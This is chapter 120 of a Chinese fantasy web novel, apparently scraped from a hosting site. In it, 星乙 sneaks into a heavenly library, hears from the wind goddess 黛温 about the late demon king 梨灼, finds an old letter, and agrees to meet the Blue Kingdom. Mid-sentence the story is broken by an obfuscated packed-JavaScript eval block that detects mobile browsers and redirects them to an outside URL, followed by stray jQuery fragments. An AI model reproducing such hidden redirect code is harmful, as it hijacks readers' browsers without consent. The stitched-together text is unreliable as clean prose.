120.灼

作品:《反派?那也得冲业绩!

    红寮蓝寮再起纷争,云宫内,星乙和罗新还挂在热门讨论的风口,两人心照不宣的都躲在各自办公室里,没事就养伤,绝不外出。


    莫求仙只说要他等,时间地点一律不知,他也并不着急。


    他还有一件事闷在心里没有答案。


    常年不在镜都的白枫一回来就带回了世纪难题,圣殿每日对准红寮蓝寮的事吵个不停,但一听到蓝衣少年的名字里有“梨”这个字眼,又都不约而同的闭口不谈。


    每日有判世殿的同僚进来探望他,总要和他说些外面的“新闻”,再发表发表自己的意见。可能就是看中星乙是个安静的听众,而且想在他这里偷懒。


    继王氏村的事后,越来越多蓝寮开始对圈养妖类的人展开攻击,凡人如何能与之对抗?于是渐渐发展成了妖界和凡间修仙门派的争斗。


    红寮是按兵不动,还是奋起反抗,白枫等待着圣殿的讨论结果。


    左天王自始至终没有给一个答复,终于在昨日单独召见白枫,随后白枫便离开了镜都。


    他要白枫尽最大努力讲和。


    星乙终于决定出门是在一天傍晚,他跑去天国的藏书室。他要读禁书,虽然门口那些守卫不敢拦着他,但他们通常会上报给星乙的直系上司,也就是天王。


    尤渚对他总是睁一只眼闭一只眼,惊蛰却没那么好糊弄,星乙实在没心情去听左天王的教育课,所以干脆选择了翻墙。


    但可能是时候不对,他刚刚落地,就和推门而入的风神面对面撞了个正着。


    星乙:……


    风神黛温视若无睹的合上大门,嘲笑他道:“翻墙是你特立独行的出行方式吗?这次居然敢大白天就偷偷进来。”


    星乙若无其事笑了笑,就要朝书架过去。


    黛温挡在他面前,歪头道:“你真是会区别对待啊,在余琼面前你怎么那么礼貌呢?怎么就不怕我告你的状?”


    她们俩的关系很古怪。在圣殿明面上,黛温是他的上级,但在乌蒙私底下,黛温是他的下级,所以两人的相处模式也十分诡异。


    星乙又笑笑,祝贺她的副官乐摹通过成年考试,表示会送上贺礼。


    黛温没说什么,体面的点点头。


    星乙不动声色的别过眼睛,脸上微笑转瞬即逝。


    黛温走到他停下脚的书架前,道:“你还对‘时间轮回’感兴趣?还是又有奇奇怪怪的问题,你来这里能找到什么?”她抬头瞥见书架分类上“历史”两个字,面露难色:“看来不会是什么好回答的问题。”


    她看着星乙在书架上翻来翻去,灰沾了一手,硬是没找到一本值得他翻开的书。不留神间瞄见风神气定神闲的神情,他还是掏出纸笔,写下问题。


    “终于舍得问问我了?”接过纸条,黛温脸色瞬间变得十分精彩,但好在没有星乙预料的生气,她只是好奇道:“你怎么会突然对他感兴趣,五界之中,任何一本史书一定都会有他的名字,你何必非要来这里找呢?”


    他来找一个人的历史,要他事无巨细的过去。


    那人是妖界的先王,一个能被妖族信奉到超过圣者地步的“神”——梨灼。


    星乙写道:天国对妖族有偏见,评价缺少公允,没什么参考价值。


    “我这么和你说吧。”黛温折起纸条,沉默了一会,星乙就耐心的等着,许久后她才到:“我见证过天国三个年历的终结,经历的时间太过久远。你知道的,天人的记忆极限是九百年,按道理来说,我不会对一个死了很多年,和我又没有任何关系的人存有记忆。”


    星乙湛蓝的眼眸期待她说出后半句,果不其然,黛温道:“但他确实是一个,只要你肯回忆,就一定有迹可循的人。”


    “很多年前,远到‘第三天’和‘第四天’还没来得及合并。当年我接到消息,妖王梨卫病故,记载他享年二十八万岁,所有人都认为王位会由妖王的哥哥临王接任,可最后登上王位的却是先王的长子,就是梨灼。”


    黛温似乎在尽力回忆,她奇异的发现记忆中关于梨灼这个人的记忆是何等清晰,可能有些人,注定让人无法淡忘。


    星乙沉默的等待她的后话,黛温道:“没过多少年,在一次四界群会上,陛下向妖界发出了请帖。”


    “直到宴会开始,所有人都认为妖界拒绝了邀请,梨灼却在最后一刻前来赴约了。”


    星乙最想知道的,是梨灼,他究竟是个怎样的人?


    “法术师兼武士,光从他周身的灵力看,他几乎是我见过最强的人。他只身赴宴,当时应该有十六七岁吧,从头到尾没有说一句话,却吸引了所有人的视线……”


    “宴会结束后,天国所有神官都跟随陛下留在原地,陛下想与妖界议和,被他强硬的拒绝,他当时说‘除非我死’。”


    想象中,少年坐在宴会的主席,在群狼环伺的情况下说出这句话,会是令人震撼的一幕,换作任何人,恐怕都不能忘怀。


    除非我死了,否则妖界永远不会和天界言和。


    黛温又开始回忆,眼神变得有些黯淡,回过头略有些哀婉的意思:“非要找一个词来形容的话,只能用完美来形容,从外貌、气质、实力、身份、谈吐举止,都完美的不得了。”


    星乙:他长得比遥夏好看吗?


    “嗯,比遥夏好看的多。”


    星乙:实力比余琼强?


    “嗯,余琼为数不多欣赏的人。”


    星乙:品德端正,谈吐无可挑剔?


    “嗯,比当时的鹿露更有风范。”


    星乙忽然黔驴技穷般笑了,手指在空中抖了抖,开始质疑她:你骗人的吧?哪有这种人,天下好事全让他占尽了。


    但峰回路转,他想到了落言的话。


    落言说他代表着过去,过去美好的人看他就是貌美的,过去难看的人看他就是丑陋的,所以他的脸在周围人看来一直不太一样,却又长得一摸一样。


    就像是记忆给他的脸上了滤镜,大家都没得选。


    那么代表着未来的梨灼也是同理,但不同的是未来永远没有发生,所以人们总是对“未来”充满想象,所以在朦胧的期许下,梨灼自然就美的无与伦比。


    谁会不希望未来是一帆风顺,全程美景尽收眼底的呢?大家可以按自己得审美来选。


    难怪。星乙想通了。


    “如果梨灼生在天国,王储就不会空在这里了,因为他站在那里就像是个……想象出来的幻觉,美好的不得了,任谁看见都会忍不住想靠近。”黛温真心实意的如此说着,“可他生在妖界,生在蓝国王宫,又英年早逝,所以他成了蓝国子民心目中神一样的存在。”


    黛温告辞后,星乙却在角落发现了一本《五界人物志》。


    迫不及待翻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173302|194639||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    阅起来,也仅仅只是记录了妖界王族的私事,任何重要的东西都没有提到。


    直到最后一页,一张写的密密麻麻的信纸掉了出来,落在灰尘上的一面,赫然写着“致二位天王,蝉女敬上。”


    蝉女,是谁?


    落款是金牛年末尾,那时候他还没出生,天国还处在古时代和现代化之间的交接,信纸上居然还有墨水字。


    新奇间,星乙展开了那封信。


    [敬陛下,疗伤结果如何呢?听闻天国一切顺利,五界大会也落下帷幕,元祈已经进入燎耶阁继承了火司的位置,接受成年考试。据此,本无事可言,可听了遥夏和我分享宴会上的情景,我听她提起妖界王位上的少年,总不禁想起她的母亲,心中惶恐不安。不知是否是“彼岸”有意为之的教导,让那孩子对天国抱有很大敌意,对于谈和极其排斥,让我生气。他是个得圣者眷顾的孩子,拥有极限的法术师和武士天赋,如果他不能与天国和平,就要早做打算………]


    后面的,字迹已经看不清,墨水和灰尘糊在一起,像极了星乙此刻的心情。


    回判世殿的路上,不少人故意避着他走,等他走过又开始嘀嘀咕咕,烦人的虫子似的,星乙无暇顾及。


    知道了关于梨灼的事,又有什么意义呢?


    副殿门前,莫求仙等候多时,她在星乙面前从不屑于假装单纯,周身浓重的妖气挑衅似的飘到他身边,如同真正的她一样张扬放肆。


    这样纯熟的演技,一般十二三岁的小姑娘可学不出来,也算她天赋异禀。


    “星哥,你回来了。”


    当初把她带回来,绝对是星乙做过最正确的选择。


    至少现在,莫求仙能为他的宝贝发挥一点作用。


    “是不是很后悔没有早点答应我们?”莫求仙一种陈述的语气问出她自认为肯定的问题,“如果一早就答应我的话,也不用你废这么大功夫了。”


    这些年,莫求仙不知道多少次向他发出橄榄枝,从女孩到小少女,她都快融入成天国人了星乙还没打算答应,有时候莫求仙甚至觉得就算是她变成老奶奶,星乙也不会答应了。


    女孩惊讶于他的拒绝,疑惑于她把自己放在身边,甚至放在乌蒙里。她不是没想过离开,但还坚持着。


    一是因为握着他身世的把柄,如果她死了,蓝国那边会为她报仇。二是她认定星乙一定会有一天会后悔,会渴望效忠于蓝国。


    只是没想到,这一天来的这么突然。


    星乙突然提出想和他们的头目见一面,就像马上要死了一样着急,仿佛一个天降的把柄威胁他放弃天国似的,星乙突然像变了个人,对蓝国也并没有那么排斥了,莫求仙不懂。


    更让莫求仙不懂的,是蓝国那边约见星乙的地点。


    蓝国王城,瀛洲玉雨。


    把这消息告诉星乙的时候他正在给红羽和青鸟洗羽毛,根本不想接她的话茬,小心的用毛巾把两只小鸟从手盆里接出来,一边给她们擦干一边点头表示自己知道了。


    “今晚就走。”莫求仙对他的态度十分不满,要知道连她这个土生土长的蓝国人都没去过红梨王宫,星乙居然一点都不感兴趣。


    青鸟被他洗的干干净净,在桌子上转着圈蹦跶:“我讨厌你,讨厌你。”


    星乙喜笑颜开,点点他的翅膀。


    莫求仙无语的走了。